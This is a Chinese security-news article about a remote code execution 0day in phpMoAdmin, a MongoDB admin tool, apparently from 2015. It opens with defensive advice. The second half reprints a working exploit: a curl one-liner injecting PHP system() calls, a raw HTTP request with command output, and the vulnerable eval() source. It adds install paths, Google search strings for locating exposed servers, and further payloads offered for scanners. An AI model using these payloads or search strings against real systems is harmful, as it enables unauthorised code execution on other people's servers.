大约2个星期前,有超过40000家企业的MongoDB被发现易受黑客的攻击,而就在今天由于黑市上流传的一个高危0day漏洞又一次将MongoDB的用户置于了危险境地。

科普:MongoDB与phpMoAdmin

MongoDB是IT行业中流行的一种开源NoSQL数据库,其数据存储方式非常灵活,广泛应用于不同规模大小的公司中。其所有的数据持久操作都无需开发人员手动编写SQL语句,直接调用方法即可轻松的实现CRUD操作。
phpMoAdmin是一个免费、开源、以PHP为基础、基于AJAX的MongoDB GUI管理工具,管理者可轻松管理NoSQL数据库。

phpmoadmin

phpMoAdmin工具上存在0day漏洞

绰号为sp1nlock的黑客在phpMoAdmin上发现了一个远程代码执行0day漏洞,攻击者可以利用该漏洞劫持运行phpMoAdmin工具的网站。

该0day漏洞仍然有效,黑市有售

在写这篇文章时,我们还不知道phpMoAdmin开发者是否有意识到工具中存在0day漏洞,但确定的是该0day漏洞正在黑市上大量贩卖,并据黑市管理者证实该漏洞确实可以用。

最为不幸的是,到目前为止还没有任何人发布相关的补丁,也就是说所有的MongoDB用户还处在危险之中。

安全建议

为了数据库的安全,建议MongoDB用户暂时不要使用phpMoAdmin工具,直至开发者发布修复补丁。

但是如果你还想继续使用phpMoAdmin工具怎么办呢?暂时使用其他免费MongoDB GUI工具吧,具体如下:

RockMongo
MongoVUE
Mongo-Express
UMongo
Genghis

 

还有一个方法:使用分布式配置密码(htaccess password)限制未经授权的访问moadmin.php文件

利用POC

http://seclists.org/fulldisclosure/2015/Mar/19

[+] Description
============================================================
PHPMoAdmin is a MongoDB administration tool for PHP built on a
stripped-down version of the Vork high-performance framework.

[+] Exploit
============================================================
Someone was trying to sale this shit for 3000usd lolz

$ curl "http://path.to/moadmin.php"; -d "object=1;system('id');exit"

[+] Proof-of-Concept
============================================================
PoC Environment: Ubuntu 14.04, PHP 5.5.9, Apache 2.4.7

POST /moadmin/moadmin.php HTTP/1.1
Host: 192.168.33.10
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:36.0)
Gecko/20100101 Firefox/36.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 34

object=1;system('id;ls -lha');exit

HTTP/1.1 200 OK
Date: Tue, 03 Mar 2015 16:57:40 GMT
Server: Apache/2.4.7 (Ubuntu)
Set-Cookie: PHPSESSID=m0ap55aonsj5ueph7hgku0elb1; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 223
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

uid=33(www-data) gid=33(www-data) groups=33(www-data)
total 116K
drwxr-xr-x 1 longcat longcat  102 Mar  3 16:55 .
drwxr-xr-x 6 root    root    4.0K Mar  3 16:17 ..
-rw-rw-r-- 1 longcat longcat 112K Mar  3 16:55 moadmin.php

[+] Vulnerability Analysis
============================================================
Filename: moadmin.php
1. create new moadminComponent object
1977: $mo = new moadminComponent;

2. if the http-post parameter 'object' is set
738: class moadminComponent {
...
762: public function __construct() {
...
786: if (isset($_POST['object'])) {
787:    if (self::$model->saveObject($_GET['collection'],
$_POST['object'])) {
...

3. evaluate the value of 'object' as PHP code
692: public function saveObject($collection, $obj) {
693:    eval('$obj=' . $obj . ';'); //cast from string to array

_______________________________________________

 

安全脉搏姿势:

相关路径URL
/phpmoadmin/
/phpmoadmin/moadmin.php?db=admin
/phpmoadmin/moadmin.php?db=admin&collection=secpulse
/panel/phpmoadmin/moadmin.php?db=admin
/panel/phpmoadmin/moadmin.php?db=admin&collection=secpulse
/wu-moadmin/wu-moadmin.php
/cms/moadmin.php
/wu-moadmin.php
/moadmin.php
/moadmin/moadmin.php

 

可能的Google search
inurl:moadmin.php
inurl:moadmin.php?db=

 

Poc1:
/moadmin.php?collection=secpulse

Post:object=1;phpinfo();

Poc2:
Get
/moadmin.php?collection=secpulse&action=listRows&find=array();phpinfo();exit;

这2个都可以加入扫描器插件了

phpinfo

源链接

Hacking more

...